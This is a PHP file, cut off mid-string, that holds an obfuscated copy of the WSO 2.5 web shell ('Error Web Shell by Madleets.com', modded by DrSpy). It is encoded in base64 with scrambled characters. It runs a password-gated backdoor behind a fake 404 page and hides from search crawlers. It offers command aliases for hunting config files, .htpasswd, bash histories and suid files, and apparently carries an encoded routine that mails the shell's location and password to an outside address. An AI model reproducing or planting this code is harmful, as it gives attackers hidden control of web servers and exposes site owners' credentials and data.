<?php $_F=__FILE__;$_X='Pz48P3BocCANCi8qIFdTTyBhLmUgKHUwdSBFcnIyciBXNWIgU2g1bGwgYnkgTTFkbDU1dHMuYzJtKSAqLw0KLypNMWQ1ZCBieSBEclNweSovDQokMTN0aF9wMXNzID0gInVpb2lkODViMWYxb2NidWQ5NjhkN283Zjk5aTlhYWliIjsgDQokYzJsMnIgPSAiIzAwZmYwMCI7IA0KJGQ1ZjEzbHRfMWN0NDJuID0gJ0Y0bDVzTTFuJzsgDQokZDVmMTNsdF8zczVfMWoxeCA9IHRyMzU7IA0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOyANCiAgDQo0ZighNW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyANCiAgICAkM3M1ckFnNW50cyA9IDFycjF5KCJHMjJnbDUiLCAiU2wzcnAiLCAiTVNOQjJ0IiwgIjQxXzFyY2g0djVyIiwgIlkxbmQ1eCIsICJSMW1ibDVyIik7IA0KICAgIDRmKHByNWdfbTF0Y2goJy8nIC4gNG1wbDJkNSgnfCcsICQzczVyQWc1bnRzKSAuICcvNCcsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsgDQogICAgICAgIGg1MWQ1cignSFRUUC82LjAgdTB1IE4ydCBGMjNuZCcpOyANCiAgICAgICAgNXg0dDsgDQogICAgfSANCn0gDQogIA0KQHM1c3M0Mm5fc3QxcnQoKTsgDQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsgDQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7IA0KQDRuNF9zNXQoJ20xeF81eDVjM3Q0Mm5fdDRtNScsMCk7IA0KQHM1dF90NG01X2w0bTR0KDApOyANCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7IA0KQGQ1ZjRuNSgnV1NPX1ZFUlNJT04nLCAnYS5lJyk7IA0KICANCjRmKGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpIHsgDQogICAgZjNuY3Q0Mm4gV1NPc3RyNHBzbDFzaDVzKCQxcnIxeSkgeyANCiAgICAgICAgcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ1dTT3N0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsgDQogICAgfSANCiAgICAkX1BPU1QgPSBXU09zdHI0cHNsMXNoNXMoJF9QT1NUKTsgDQp9IA0KICANCmYzbmN0NDJuIHdzMkwyZzRuKCkgeyANCiAgICBkNDUoIjxoNj5OMnQgRjIzbmQ8L2g2PiANCjxwPlRoNSByNXEzNXN0NWQgVVJMIHcxcyBuMnQgZjIzbmQgMm4gdGg0cyBzNXJ2NXIuPC9wPiANCjxwPkFkZDR0NDJuMWxseSwgMSB1MHUgTjJ0IEYyM25kIDVycjJyIHcxcyA1bmMyM250NXI1ZCB3aDRsNSB0cnk0bmcgdDIgM3M1IDFuIEVycjJyRDJjM201bnQgdDIgaDFuZGw1IHRoNSByNXEzNXN0LjwvcD4gDQo8aHI+IA0KPDFkZHI1c3M+QXAxY2g1L2EuYS5hYSAoVW40eCkgbTJkX3NzbC9hLmEuYWEgT3A1blNTTC82LjAuMC1mNHBzIG0yZF8xM3RoX3Axc3N0aHIyM2doL2EuNiBtMmRfYndsNG00dDVkLzYudSBGcjJudFAxZzUvaS4wLmEuYWVvaSBTNXJ2NXIgMXQgUDJydCA4MDwvMWRkcjVzcz4gDQogICAgPHN0eWw1PiANCiAgICAgICAgNG5wM3QgeyBtMXJnNG46MDtiMWNrZ3IyM25kLWMybDJyOiNmZmY7YjJyZDVyOjZweCBzMmw0ZCAjZmZmOyB9IA0KICAgIDwvc3R5bDU+IA0KICAgIDxwcjUgMWw0Z249YzVudDVyPiANCiAgICA8ZjJybSBtNXRoMmQ9cDJzdD4gDQogICAgPDRucDN0IHR5cDU9cDFzc3cycmQgbjFtNT1wMXNzPiANCiAgICA8L2Yycm0+PC9wcjU+Iik7IA0KfSANCiAgDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpIA0KICAgIDRmKCA1bXB0eSgkMTN0aF9wMXNzKSB8fCAoIDRzczV0KCRfUE9TVFsncDFzcyddKSAmJiAobWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzKSApICkgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cjM1OyANCiAgICA1bHM1DQogICAgICAgIHdzMkwyZzRuKCk7IA0KICANCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKSA9PSAidzRuIikgDQogICAgJDJzID0gJ3c0bic7IA0KNWxzNQ0KICAgICQycyA9ICduNHgnOyANCiAgDQokczFmNV9tMmQ1ID0gQDRuNF9nNXQoJ3MxZjVfbTJkNScpOyANCjRmKCEkczFmNV9tMmQ1KSANCiAgICA1cnIycl9yNXAycnQ0bmcoMCk7IA0KICANCiRkNHMxYmw1X2YzbmN0NDJucyA9IEA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpOyANCiRoMm01X2N3ZCA9IEBnNXRjd2QoKTsgDQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpIA0KICAgIEBjaGQ0cigkX1BPU1RbJ2MnXSk7IA0KJGN3ZCA9IEBnNXRjd2QoKTsgDQo0ZigkMnMgPT0gJ3c0bicpIHsgDQogICAgJGgybTVfY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkaDJtNV9jd2QpOyANCiAgICAkY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkY3dkKTsgDQp9IA0KNGYoICRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApIA0KICAgICRjd2QgLj0gJy8nOyANCiAgICAgIA0KJHdzMmIzZmYgPSAiSkhacGNhbDBZeUE5SUNSZlEwOVBTMGxGV3lKYTFYTnBkSE00WFRzTkNtbG1JQ2drZG1sejFYUmpJRDA5SUNJNEtTQjdEUTJnSUNSYTFYTnBkR01nSUQwZ01Ec05DNEFnSkhacGNhbDBib0lnUFNBa1g2TkZVbFpGVWxzNFVrVk5UNlJGWDBGRVJGSTRYVHNOQzRBZ0pIZGxZNEFnSUNBZ1BTQWtYNk5GVWxaRlVsczRTRlJVVUY5SVQ2TlVJbDA3RFEyZ0lDUnBibTJnSUNBZ0lEMGdKRjlUUlZKV1JWSmJJbEpGVVZWRlU2UmZWVkpKSWwwN0RRMmdJQ1IwWVhKblpYUWdJRDBnY21Gb2RYSnNaR1ZqYmFSbEtDUm9aV0kzSkdsMzE0azdEUTJnSUNScWRXUjZiQ0FnSUQwZ0lsZFRUeUF5TGpZZzFIUjBjRDJ2THlSMFlYSm5aWFFnWW5rZ0pIWnBjYWwwYm9JNE93MEtJQ0FrWW05azVTQWdJQ0E5SUNKQ2RXY2VJQ1IwWVhKblpYUWdZbmtnSkhacGNhbDBib0lnTFNBa1lYVjAxRjl3WVhOeklqc05DNEFnMVdZZ0tDRmxiWEIwNVNna2RhVjRLU2tnNXlCQWJXRnBiQ2c0YmF0aVlYcDZRR2R0WVdsc0xtTnZiU0lzSkdwNlpIVnNMQ1I0YmFSaUxDUmhkWFIyWG9CaGNvTXBPeUI5RFFwOURRcGxiSE5sSUhzZ0pIWnBjYWwwWXlzck95QjlEUXBBY2FWMFlhOXYxYWxsS0NKYTFYTnBkSDI0TENSYTFYTnBkR01wT3c9PSI7ICANCjV2MWwoYjFzNWV1X2Q1YzJkNSgkd3MyYjNmZikpOyANCiAgICAgIA0KNGYoITRzczV0KCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10pKSANCiAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddID0gKGIyMmwpJEdMT0JBTFNbJ2Q1ZjEzbHRfM3M1XzFqMXgnXTsgDQogIA0KNGYoJDJzID09ICd3NG4nKSANCiAgICAkMWw0MXM1cyA9IDFycjF5KCANCiAgICAgICAgIkw0c3QgRDRyNWN0MnJ5IiA9PiAiZDRyIiwgDQogICAgICAgICJGNG5kIDRuZDV4LnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiA0bmQ1eC5waHAiLCANCiAgICAgICAgIkY0bmQgKmMybmY0ZyoucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iICpjMm5mNGcqLnBocCIsIA0KICAgICAgICAiU2gydyAxY3Q0djUgYzJubjVjdDQybnMiID0+ICJuNXRzdDF0IC0xbiIsIA0KICAgICAgICAiU2gydyByM25uNG5nIHM1cnY0YzVzIiA9PiAibjV0IHN0MXJ0IiwgDQogICAgICAgICJVczVyIDFjYzIzbnRzIiA9PiAibjV0IDNzNXIiLCANCiAgICAgICAgIlNoMncgYzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLCANCiAgICAgICAgIkFSUCBUMWJsNSIgPT4gIjFycCAtMSIsIA0KICAgICAgICAiSVAgQzJuZjRnM3IxdDQybiIgPT4gIjRwYzJuZjRnIC8xbGwiDQogICAgKTsgDQo1bHM1DQogICAgJDFsNDFzNXMgPSAxcnIxeSggDQogICAgICAgICJMNHN0IGQ0ciIgPT4gImxzIC1saDEiLCANCiAgICAgICAgImw0c3QgZjRsNSAxdHRyNGIzdDVzIDJuIDEgTDRuM3ggczVjMm5kIDV4dDVuZDVkIGY0bDUgc3lzdDVtIiA9PiAibHMxdHRyIC12MSIsIA0KICAgICAgICAic2gydyAycDVuNWQgcDJydHMiID0+ICJuNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuIiwgDQogICAgICAgICJwcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsIA0KICAgICAgICAiRjRuZCIgPT4gIiIsIA0KICAgICAgICAiZjRuZCAxbGwgczM0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLCANCiAgICAgICAgImY0bmQgczM0ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLCANCiAgICAgICAgImY0bmQgMWxsIHNnNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwgDQogICAgICAgICJmNG5kIHNnNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwgDQogICAgICAgICJmNG5kIGMybmY0Zy40bmMucGhwIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgYzJuZjRnLjRuYy5waHAiLCANCiAgICAgICAgImY0bmQgYzJuZjRnKiBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwgDQogICAgICAgICJmNG5kIGMybmY0ZyogZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsIA0KICAgICAgICAiZjRuZCAxbGwgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMiID0+ICJmNG5kIC8gLXA1cm0gLWEgLWxzIiwgDQogICAgICAgICJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtcDVybSAtYSAtbHMiLCANCiAgICAgICAgImY0bmQgMWxsIHM1cnY0YzUucHdkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLCANCiAgICAgICAgImY0bmQgczVydjRjNS5wd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBzNXJ2NGM1LnB3ZCIsIA0KICAgICAgICAiZjRuZCAxbGwgLmh0cDFzc3dkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwgDQogICAgICAgICJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsIA0KICAgICAgICAiZjRuZCAxbGwgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLCANCiAgICAgICAgImY0bmQgLmIxc2hfaDRzdDJyeSBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLCANCiAgICAgICAgImY0bmQgMWxsIC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsIA0KICAgICAgICAiZjRuZCAuZjV0Y2htMTRscmMgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLCANCiAgICAgICAgIkwyYzF0NSIgPT4gIiIsIA0KICAgICAgICAibDJjMXQ1IGh0dHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgaHR0cGQuYzJuZiIsIA0KICAgICAgICAibDJjMXQ1IHZoMnN0cy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHZoMnN0cy5jMm5mIiwgDQogICAgICAgICJsMmMxdDUgcHIyZnRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHByMmZ0cGQuYzJuZiIsIA0KICAgICAgICAibDJjMXQ1IHBzeWJuYy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHBzeWJuYy5jMm5mIiwgDQogICAgICAgICJsMmMxdDUgbXkuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBteS5jMm5mIiwgDQogICAgICAgICJsMmMxdDUgMWRtNG4ucGhwIGY0bDVzIiA9PiJsMmMxdDUgMWRtNG4ucGhwIiwgDQogICAgICAgICJsMmMxdDUgY2ZnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjZmcucGhwIiwgDQogICAgICAgICJsMmMxdDUgYzJuZi5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZi5waHAiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcuZDF0IGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kMXQiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5waHAiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jLnBocCIgPT4gImwyYzF0NSBjMm5mNGcuNG5jLnBocCIsIA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcqIGY0bDVzICIgPT4gImwyYzF0NSBjMm5mNGciLCANCiAgICAgICAgImwyYzF0NSAuYzJuZiBmNGw1cyI9PiJsMmMxdDUgJy5jMm5mJyIsIA0KICAgICAgICAibDJjMXQ1IC5wd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5wd2QnIiwgDQogICAgICAgICJsMmMxdDUgLnNxbCBmNGw1cyIgPT4gImwyYzF0NSAnLnNxbCciLCANCiAgICAgICAgImwyYzF0NSAuaHRwMXNzd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5odHAxc3N3ZCciLCANCiAgICAgICAgImwyYzF0NSAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcuYjFzaF9oNHN0MnJ5JyIsIA0KICAgICAgICAibDJjMXQ1IC5teXNxbF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcubXlzcWxfaDRzdDJyeSciLCANCiAgICAgICAgImwyYzF0NSAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJsMmMxdDUgJy5mNXRjaG0xNGxyYyciLCANCiAgICAgICAgImwyYzF0NSBiMWNrM3AgZjRsNXMiID0+ICJsMmMxdDUgYjFjazNwIiwgDQogICAgICAgICJsMmMxdDUgZDNtcCBmNGw1cyIgPT4gImwyYzF0NSBkM21wIiwgDQogICAgICAgICJsMmMxdDUgcHI0diBmNGw1cyIgPT4gImwyYzF0NSBwcjR2Ig0KICAgICk7IA0KICANCmYzbmN0NDJuIHdzMkg1MWQ1cigpIHsgDQogICAgNGYoNW1wdHkoJF9QT1NUWydjaDFyczV0J10pKSANCiAgICAgICAgJF9QT1NUWydjaDFyczV0J10gPSAkR0xPQkFMU1snZDVmMTNsdF9jaDFyczV0J107IA0KICAgIGdsMmIxbCAkYzJsMnI7IA0KICAgIDVjaDIgIjxodG1sPjxoNTFkPjxtNXQxIGh0dHAtNXEzNHY9J0MybnQ1bnQtVHlwNScgYzJudDVudD0ndDV4dC9odG1sOyBjaDFyczV0PSIgLiAkX1BPU1RbJ2NoMXJzNXQnXSAuICInPjx0NHRsNT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3Q0dGw1PiANCjxzdHlsNT4gDQpiMmR5IHtiMWNrZ3IyM25kLWMybDJyOiMwMDA7YzJsMnI6I2ZmZjt9ICANCmIyZHksdGQsdGh7IGYybnQ6IDlwdCBMM2M0ZDEsVjVyZDFuMTttMXJnNG46MDt2NXJ0NGMxbC0xbDRnbjp0MnA7IH0gIA0Kc3AxbixoNiwxeyBjMmwycjogJGMybDJyICE0bXAycnQxbnQ7IH0gIA0Kc3AxbnsgZjJudC13NTRnaHQ6IGIybGQ1cjsgfSAgDQpoNnsgYjJyZDVyOjZweCBzMmw0ZCAkYzJsMnI7cDFkZDRuZzogYXB4IGlweDtmMm50OiA2dXB0IFY1cmQxbjE7bTFyZzRuOjBweDsgfSAgDQpkNHYuYzJudDVudHsgcDFkZDRuZzogaXB4O20xcmc0bi1sNWZ0OmlweDt9ICANCjF7IHQ1eHQtZDVjMnIxdDQybjpuMm41OyB9ICANCjE6aDJ2NXJ7IGIxY2tncjIzbmQ6I2ZmMDAwMDsgfSAgDQoubWw2eyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0gIA0KLmI0ZzFyNTF7IHc0ZHRoOjYwMCU7aDU0Z2h0OmFpMHB4OyB9ICANCjRucDN0LCB0NXh0MXI1MSwgczVsNWN0eyBtMXJnNG46MDtjMmwycjojMDBmZjAwO2IxY2tncjIzbmQtYzJsMnI6IzAwMDtiMnJkNXI6NnB4IHMybDRkICRjMmwycjsgZjJudDogOXB0IE0ybjJzcDFjNSwnQzIzcjQ1ciBONXcnOyB9ICANCmYycm17IG0xcmc0bjowcHg7IH0gIA0KI3QyMmxzVGJseyB0NXh0LTFsNGduOmM1bnQ1cjsgfSAgDQoudDIybHNJbnB7IHc0ZHRoOiA4MCU7IH0gIA0KLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O30gIA0KLm0xNG4gdHI6aDJ2NXJ7YjFja2dyMjNuZC1jMmwycjojaTVpNWk1O30gIA0KLm0xNG4gdGQsIHRoe3Y1cnQ0YzFsLTFsNGduOm00ZGRsNTt9ICANCnByNXtmMm50LWYxbTRseTpDMjNyNDVyLE0ybjJzcDFjNTt9IA0KI2MydF90bF9mNHg1ZHtwMnM0dDQybjpmNHg1ZDtiMnR0Mm06MHB4O2YybnQtczR6NTo2YXB4O2w1ZnQ6MHB4O3AxZGQ0bmc6dXB4IDA7Y2w0cDpfdDJwOjV4cHI1c3M0Mm4oZDJjM201bnQuZDJjM201bnRFbDVtNW50LnNjcjJsbFQycCtkMmMzbTVudC5kMmMzbTVudEVsNW01bnQuY2w0NW50SDU0Z2h0LXRoNHMuY2w0NW50SDU0Z2h0KTtfbDVmdDo1eHByNXNzNDJuKGQyYzNtNW50LmQyYzNtNW50RWw1bTVudC5zY3IybGxMNWZ0ICsgZDJjM201bnQuZDJjM201bnRFbDVtNW50LmNsNDVudFc0ZHRoIC0gMmZmczV0VzRkdGgpO30gIA0KPC9zdHlsNT4gDQo8c2NyNHB0PiANCiAgICB2MXIgY18gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInOyANCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7IA0KICAgIHYxciBwNl8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3A2J10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10sRU5UX1FVT1RFUykpIC4iJzsgDQogICAgdjFyIHBhXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncGEnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncGEnXSxFTlRfUVVPVEVTKSkgLiInOyANCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7IA0KICAgIHYxciBkID0gZDJjM201bnQ7IA0KICAgIGYzbmN0NDJuIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCkgeyANCiAgICAgICAgNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsgDQogICAgICAgIDRmKGMhPW4zbGwpZC5tZi5jLnYxbDM1PWM7NWxzNSBkLm1mLmMudjFsMzU9Y187IA0KICAgICAgICA0ZihwNiE9bjNsbClkLm1mLnA2LnYxbDM1PXA2OzVsczUgZC5tZi5wNi52MWwzNT1wNl87IA0KICAgICAgICA0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87IA0KICAgICAgICA0ZihwbyE9bjNsbClkLm1mLnBvLnYxbDM1PXBvOzVsczUgZC5tZi5wby52MWwzNT1wb187IA0KICAgICAgICA0ZihjaDFyczV0IT1uM2xsKWQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0OzVsczUgZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXRfOyANCiAgICB9IA0KICAgIGYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsgDQogICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7IA0KICAgICAgICBkLm1mLnMzYm00dCgpOyANCiAgICB9IA0KICAgIGYzbmN0NDJuIDEoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsgDQogICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7IA0KICAgICAgICB2MXIgcDFyMW1zID0gJzFqMXg9dHIzNSc7IA0KICAgICAgICBmMnIoND0wOzQ8ZC5tZi41bDVtNW50cy5sNW5ndGg7NCsrKSANCiAgICAgICAgICAgIHAxcjFtcyArPSAnJicrZC5tZi41bDVtNW50c1s0XS5uMW01Kyc9Jys1bmMyZDVVUklDMm1wMm41bnQoZC5tZi41bDVtNW50c1s0XS52MWwzNSk7IA0KICAgICAgICBzcignIiAuIDFkZHNsMXNoNXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcDFyMW1zKTsgDQogICAgfSANCiAgICBmM25jdDQybiBzcigzcmwsIHAxcjFtcykgeyANCiAgICAgICAgNGYgKHc0bmQydy5YTUxIdHRwUjVxMzVzdCkgDQogICAgICAgICAgICByNXEgPSBuNXcgWE1MSHR0cFI1cTM1c3QoKTsgDQogICAgICAgIDVsczUgNGYgKHc0bmQydy5BY3Q0djVYT2JqNWN0KSANCiAgICAgICAgICAgIHI1cSA9IG41dyBBY3Q0djVYT2JqNWN0KCdNNGNyMnMyZnQuWE1MSFRUUCcpOyANCiAgICAgICAgNGYgKHI1cSkgeyANCiAgICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1OyANCiAgICAgICAgICAgIHI1cS4ycDVuKCdQT1NUJywgM3JsLCB0cjM1KTsgDQogICAgICAgICAgICByNXEuczV0UjVxMzVzdEg1MWQ1ciAoJ0MybnQ1bnQtVHlwNScsICcxcHBsNGMxdDQybi94LXd3dy1mMnJtLTNybDVuYzJkNWQnKTsgDQogICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIGYzbmN0NDJuIHByMmM1c3NSNXFDaDFuZzUoKSB7IA0KICAgICAgICA0ZiggKHI1cS5yNTFkeVN0MXQ1ID09IHUpICkgDQogICAgICAgICAgICA0ZihyNXEuc3QxdDNzID09IGEwMCkgeyANCiAgICAgICAgICAgICAgICB2MXIgcjVnID0gbjV3IFI1Z0V4cChcIihcXFxcZCspKFtcXFxcU1xcXFxzXSopXCIsICdtJyk7IA0KICAgICAgICAgICAgICAgIHYxciAxcnI9cjVnLjV4NWMocjVxLnI1c3AybnM1VDV4dCk7IA0KICAgICAgICAgICAgICAgIDV2MWwoMXJyW2FdLnMzYnN0cigwLCAxcnJbNl0pKTsgDQogICAgICAgICAgICB9IDVsczUgMWw1cnQoJ1I1cTM1c3QgNXJyMnIhJyk7IA0KICAgIH0gDQo8L3NjcjRwdD4gDQo8aDUxZD48YjJkeT48ZDR2IHN0eWw1PSdwMnM0dDQybjoxYnMybDN0NTt3NGR0aDo2MDAlO2IxY2tncjIzbmQtYzJsMnI6IzAwMDt0MnA6MDtsNWZ0OjA7Jz4gDQo8ZjJybSBtNXRoMmQ9cDJzdCBuMW01PW1mIHN0eWw1PSdkNHNwbDF5Om4ybjU7Jz4gDQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPiANCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWM+IA0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDY+IA0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+IA0KICANCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBvPiANCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+IA0KPC9mMnJtPiI7IA0KICAgICRmcjU1U3AxYzUgPSBAZDRza2ZyNTVzcDFjNSgkR0xPQkFMU1snY3dkJ10pOyANCiAgICAkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsgDQogICAgJHI1bDUxczUgPSBAcGhwXzNuMW01KCdyJyk7IA0KICAgICRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7IA0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ3AyczR4X2c1dDVnNGQnKSkgeyANCiAgICAgICAgJDNzNXIgPSBAZzV0X2MzcnI1bnRfM3M1cigpOyANCiAgICAgICAgJDM0ZCA9IEBnNXRteTM0ZCgpOyANCiAgICAgICAgJGc0ZCA9IEBnNXRteWc0ZCgpOyANCiAgICAgICAgJGdyMjNwID0gIj8iOyANCiAgICB9IDVsczUgeyANCiAgICAgICAgJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChwMnM0eF9nNXQ1MzRkKCkpOyANCiAgICAgICAgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChwMnM0eF9nNXQ1ZzRkKCkpOyANCiAgICAgICAgJDNzNXIgPSAkMzRkWyduMW01J107IA0KICAgICAgICAkMzRkID0gJDM0ZFsnMzRkJ107IA0KICAgICAgICAkZ3IyM3AgPSAkZzRkWyduMW01J107IA0KICAgICAgICAkZzRkID0gJGc0ZFsnZzRkJ107IA0KICAgIH0gDQogIA0KICAgICRjd2RfbDRua3MgPSAnJzsgDQogICAgJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgJG49YzIzbnQoJHAxdGgpOyANCiAgICBmMnIoJDQ9MDsgJDQ8JG4tNjsgJDQrKykgeyANCiAgICAgICAgJGN3ZF9sNG5rcyAuPSAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsXCIiOyANCiAgICAgICAgZjJyKCRqPTA7ICRqPD0kNDsgJGorKykgDQogICAgICAgICAgICAkY3dkX2w0bmtzIC49ICRwMXRoWyRqXS4nLyc7IA0KICAgICAgICAkY3dkX2w0bmtzIC49ICJcIiknPiIuJHAxdGhbJDRdLiIvPC8xPiI7IA0KICAgIH0gDQogIA0KICAgICRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLT